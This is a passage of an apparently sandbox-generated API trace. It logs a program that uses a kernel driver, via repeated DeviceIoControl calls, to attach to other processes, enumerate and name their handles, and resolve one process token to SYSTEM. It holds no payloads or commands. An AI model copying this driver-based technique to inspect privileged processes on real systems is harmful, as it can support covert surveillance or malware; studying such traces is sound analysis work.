lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.126] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.126] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.126] PsAcquireProcessExitSynchronization () returned 0x0 [0136.126] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.126] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0136.126] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.126] PsReleaseProcessExitSynchronization () returned 0x2 [0136.126] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.126] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.126] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0136.126] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.126] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.126] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.126] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.126] PsAcquireProcessExitSynchronization () returned 0x0 [0136.126] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.126] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0136.126] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.126] PsReleaseProcessExitSynchronization () returned 0x2 [0136.126] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.127] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.127] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0136.127] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.127] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.127] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0136.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.127] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0136.127] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.127] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0136.127] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021612c0 | out: TokenHandle=0xfffffa80021612c0*=0xc8) returned 0x0 [0136.127] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.127] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.127] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.127] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.128] CloseHandle (hObject=0xc8) returned 1 [0136.128] CloseHandle (hObject=0xc0) returned 1 [0136.129] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.129] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.129] PsAcquireProcessExitSynchronization () returned 0x0 [0136.129] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.129] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0136.129] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.129] PsReleaseProcessExitSynchronization () returned 0x2 [0136.129] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.129] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.129] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0136.129] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.129] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.129] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.129] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.129] PsAcquireProcessExitSynchronization () returned 0x0 [0136.129] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.129] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0136.129] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.129] PsReleaseProcessExitSynchronization () returned 0x2 [0136.129] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.129] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.129] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0136.129] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.129] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.129] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.130] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.130] PsAcquireProcessExitSynchronization () returned 0x0 [0136.130] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.130] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0136.130] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.130] PsReleaseProcessExitSynchronization () returned 0x2 [0136.130] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.130] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.130] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0136.130] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.130] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.130] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.130] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.130] PsAcquireProcessExitSynchronization () returned 0x0 [0136.130] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.130] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0136.130] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.130] PsReleaseProcessExitSynchronization () returned 0x2 [0136.130] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.130] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.130] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0136.130] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.130] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.130] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.130] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.130] PsAcquireProcessExitSynchronization () returned 0x0 [0136.130] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.130] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0136.130] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.131] PsReleaseProcessExitSynchronization () returned 0x2 [0136.131] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.131] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.131] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0136.131] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.131] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.131] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.131] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.131] PsAcquireProcessExitSynchronization () returned 0x0 [0136.131] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.131] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0136.131] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.131] PsReleaseProcessExitSynchronization () returned 0x2 [0136.131] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.131] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.131] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0136.131] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.131] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.131] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.131] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.131] PsAcquireProcessExitSynchronization () returned 0x0 [0136.131] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.131] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0136.131] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.131] PsReleaseProcessExitSynchronization () returned 0x2 [0136.131] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.131] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.131] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0136.131] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.131] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.131] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.132] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.132] PsAcquireProcessExitSynchronization () returned 0x0 [0136.132] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.132] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0136.132] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.132] PsReleaseProcessExitSynchronization () returned 0x2 [0136.132] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.132] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.132] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0136.132] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.132] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.132] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.132] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.132] PsAcquireProcessExitSynchronization () returned 0x0 [0136.132] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.132] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0136.132] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.132] PsReleaseProcessExitSynchronization () returned 0x2 [0136.132] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.132] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.132] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0136.132] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.132] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.132] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.132] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.132] PsAcquireProcessExitSynchronization () returned 0x0 [0136.132] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.132] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0136.132] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.132] PsReleaseProcessExitSynchronization () returned 0x2 [0136.132] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.132] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.132] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0136.133] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.133] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.133] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.133] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.133] PsAcquireProcessExitSynchronization () returned 0x0 [0136.133] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.133] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0136.133] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.133] PsReleaseProcessExitSynchronization () returned 0x2 [0136.133] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.133] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.133] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0136.133] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.133] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.133] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.133] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.133] PsAcquireProcessExitSynchronization () returned 0x0 [0136.133] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.133] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0136.133] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.133] PsReleaseProcessExitSynchronization () returned 0x2 [0136.133] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.133] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.133] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0136.133] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.133] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.133] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 